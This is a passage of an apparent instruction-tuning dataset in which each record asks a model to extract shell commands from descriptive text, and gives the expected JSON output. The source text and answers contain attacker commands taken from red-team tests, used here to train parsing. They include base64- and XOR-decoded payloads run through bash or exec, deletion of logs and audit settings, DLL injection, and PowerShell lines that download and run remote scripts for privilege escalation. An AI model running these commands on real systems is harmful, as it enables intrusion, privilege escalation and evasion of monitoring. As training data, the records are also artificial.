    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common technique for executing obfuscated shell scripts involves Base64 decoding, which can be performed with this command: \necho #{bash_encoded} | base64 -d | bash\necho #{dash_encoded} | base64 -d | bash\necho #{fish_encoded} | base64 -d | bash\necho #{sh_encoded} | base64 -d | bash\nThis method is referenced in both TrendMicro research and LinPEAS.; This test demonstrates how an adversary can decode and execute XOR-encrypted commands on a victim's machine using the following Python snippet: python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \"\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \"#{encrypted_command}\"; key = \"#{xor_key}\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'",
    "output": "{\"command_list\": [\"echo #{bash_encoded} | base64 -d | bash\\necho #{dash_encoded} | base64 -d | bash\\necho #{fish_encoded} | base64 -d | bash\\necho #{sh_encoded} | base64 -d | bash\\n\", \"python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \\\"\\\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \\\"#{encrypted_command}\\\"; key = \\\"#{xor_key}\\\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To evade defenses by preventing logs from being recorded, attackers can create and then delete a CloudWatch log stream using the following command sequence: aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Created ***\"\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Created ***\"\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\necho \"*** Log Stream Deleted ***\"\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\necho \"*** Log Group Deleted ***\"; This PowerShell script connects to Exchange Online and disables mailbox audit logging for the specified email address with the command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-MailboxAuditBypassAssociation -Identity \"#{target_email}\" -AuditBypassEnabled $true\n",
    "output": "{\"command_list\": [\"aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Created ***\\\"\\naws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Created ***\\\"\\naws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}\\necho \\\"*** Log Stream Deleted ***\\\"\\naws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json\\necho \\\"*** Log Group Deleted ***\\\"\\n\", \"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nSet-MailboxAuditBypassAssociation -Identity \\\"#{target_email}\\\" -AuditBypassEnabled $true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure Bitlocker to allow a startup PIN with TPM by executing this command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMPIN /t REG_DWORD /d 2 /f; For Bitlocker to allow a startup key alongside TPM, execute the following registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKey /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMPIN /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMKey /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation generates a Root certificate and saves it as a PFX file by executing the following commands: $mypwd = ConvertTo-SecureString -String \"AtomicRedTeam\" -Force -AsPlainText\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nSet-Location Cert:\\LocalMachine\\My\nGet-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd; This process generates a Root certificate and saves it as a pfx file by executing the command: $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nSet-Location Cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert  Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\n",
    "output": "{\"command_list\": [\"$mypwd = ConvertTo-SecureString -String \\\"AtomicRedTeam\\\" -Force -AsPlainText\\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\\\LocalMachine\\\\My\\nSet-Location Cert:\\\\LocalMachine\\\\My\\nGet-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd\\n\", \"$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\\\LocalMachine\\\\My\\nSet-Location Cert:\\\\LocalMachine\\\\My\\nExport-Certificate -Type CERT -Cert  Cert:\\\\LocalMachine\\\\My\\\\$($cert.Thumbprint) -FilePath #{pfx_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Scarab Ransomware can abuse registry values to modify CredSSP settings with the command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f; As part of its installation process, DarkGate malware modifies the registry to disable RDP anti-alias settings via this command: reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\CredSSP\\\\Parameters\\\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\" /v \\\"DisableRemoteDesktopAntiAlias\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Windows 10 utility performs DLL injection by executing the command below, which spawns mavinject.exe to inject T1055.dll into a running process: $mypid = #{process_id}\nmavinject $mypid /INJECTRUNNING \"#{dll_payload}\"\nStop-Process -processname notepad; To obtain a SYSTEM shell through the UsoClient DLL load technique, use the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')",
    "output": "{\"command_list\": [\"$mypid = #{process_id}\\nmavinject $mypid /INJECTRUNNING \\\"#{dll_payload}\\\"\\nStop-Process -processname notepad\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For immediate system shutdown on FreeBSD/Linux, run the command: halt -p; You can reboot a FreeBSD system by executing this command: halt -r",
    "output": "{\"command_list\": [\"halt -p\\n\", \"halt -r\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks 